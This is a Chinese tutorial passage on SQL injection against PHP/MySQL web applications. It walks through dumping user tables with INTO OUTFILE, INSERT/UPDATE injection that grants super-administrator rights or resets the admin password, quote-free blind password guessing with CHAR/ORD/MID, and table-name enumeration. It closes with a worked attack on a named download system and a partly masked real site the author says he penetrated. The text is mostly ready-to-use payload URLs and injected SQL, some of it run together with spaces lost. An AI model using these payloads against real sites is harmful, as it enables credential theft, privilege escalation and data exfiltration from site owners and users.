SQL Injection with MySQL(2)

日期:2008-06-26  作者:喜腾小二  来源:PHPChina


三、导出文件

  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * fromtableintooutfile'c:/file.txt'
select * fromtableintooutfile'/var/www/file.txt'

  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

必须导出到能访问的目录,这样才能下载。
能访问的目录必须要有可写的权限,否则导出会失败。
确保硬盘有足够的容量能容下导出的数据,这个很少见。
确保要已经存在相同的文件名,会导致导出失败,并提示:“File ‘c:/file.txt’ already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。
  我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:

SELECT * FROMuserWHEREusername='$username'intooutfile'c:/file.txt'

  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

  出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:

  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

  实际的SQL语句变为:

SELECT * FROMuserWHEREusername=''or1=1intooutfile'c:/file.txt'

  这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
  既然条件满足,在这种情况下就直接导出所有数据!如图:

  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROMarticleWHEREarticleid='1'unionselect1,username,passwordfromuserintooutfile'c:/user.txt'

  这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt

  文件是出来了,可是有一个问题,由于前面的查询articleid=’1′为真了,所以导出的数据也有整个文章的一部分,如图:

  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

  这样才能得到我们想要的资料:

  值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATETABLE`user`(
`userid`INTNOTNULLAUTO_INCREMENT ,
`username`VARCHAR(20)NOTNULL ,
`password`VARCHAR(50)NOTNULL ,
`homepage`VARCHAR(255)NOTNULL ,
`userlevel`INTDEFAULT'1'NOTNULL ,
PRIMARYKEY(`userid`)
);

  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:

INSERTINTO`user`(userid, username, password, homepage, userlevel)VALUES('', '$username', '$password', '$homepage', '1');

  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net’, ‘3’)#

  插入数据库的时候就变成:

INSERTINTO`user`(userid, username, password, homepage, userlevel)VALUES('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE

  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATEuserSETpassword='$password', homepage='$homepage'WHEREid='$id'

  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:

http://4ngel.net’, userlevel=’3

  整个SQL语句就变成这样:

UPDATEuserSETpassword='mypass', homepage='http://4ngel.net', userlevel='3'WHEREid='$id'

  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATEuserSETpassword='MD5($password)', homepage='$homepage'WHEREid='$id'

  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)' WHERE username='admin'#
?>

  这时整个语句变为:

UPDATEuserSETpassword='MD5(mypass)'WHEREusername='admin'#)', homepage='$homepage' WHERE id='$id'

  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:

' OR username='admin'
?>

  这时整个语句变为:

UPDATEuserSETpassword='MD5($password)', homepage='$homepage'WHEREid=''ORusername='admin'

  照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
  变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。

高级应用

1、 使用MYSQL内置函数

  我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……

  各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:

UPDATEarticleSETtitle=$titleWHEREarticleid=1

  我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATEarticleSETtitle=DATABASE()WHEREid=1
#把当前数据库名更新到title字段
UPDATEarticleSETtitle=USER()WHEREid=1
#把当前 MySQL 用户名更新到title字段
UPDATEarticleSETtitle=SYSTEM_USER()WHEREid=1
#把当前 MySQL 用户名更新到title字段
UPDATEarticleSETtitle=SESSION_USER()WHEREid=1
#把当前 MySQL 用户名更新到title字段
UPDATEarticleSETtitle=CURRENT_USER()WHEREid=1
#把当前会话被验证匹配的用户名更新到title字段

  灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交:

http://127.0.0.1/injection/show.php?id=1

  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

  就可以返回当前数据库名和数据库版本,构造是比较容易的。
  下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。

#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:>test.pl c:oot.ini
#99,58,92,98,111,111,116,46,105,110,105
 
$ARGC = @ARGV;
if($ARGC != 1){
  
print"Usage: $0 ";
  
exit(1);
}
 
$path=shift;
 
@
char = unpack('C*', $path);
 
$asc=join(",",@char);
 
print$asc;

2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username=’angel’

  如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROMuserWHEREusername=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROMuserWHEREusername=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。

  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROMuserWHEREuserid=userid

  按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1

  就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass

  绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password='mypass'

  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)

  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)

  正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

  而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)

  然后在mysql>命令提示符下或者在phpMyadmin里面执行:

selectchar(109,121,112,97,115,115)

  就会返回:mypass

  当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)

  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

  如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
  还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

  有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用 char()函数,char(97)表示字母“a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

  如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回“0”,如图:

  判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。

4、猜数据表名

  在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1

  返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user

  如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到。
  但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:

site_article
site_user
site_download
forum_user
forum_post
……

  如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

实例

  下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为 HB(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
  首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  正常返回,如图,如果URL不清楚可以看标题那里:

  嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if($id > "0" && $id < "999999999"):
//这里是正确执行的代码
else:
echo"

无记录 ";
 center>

  也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATETABLEymdown(
 
idint(10)unsignedNOTNULLauto_increment,
 
namevarchar(100)NOTNULL,
 
updatetimevarchar(20)NOTNULL,
 
sizevarchar(100)NOTNULL,
 
empowervarchar(100)NOTNULL,
 
osvarchar(100)NOTNULL,
 
gradesmallint(6)DEFAULT'0'NOTNULL,
 
viewnumint(10)DEFAULT'0'NOTNULL,
 
downnumint(10)DEFAULT'0'NOTNULL,
 

<<<返回技术中心

技术文章

站内新闻

我要啦免费统计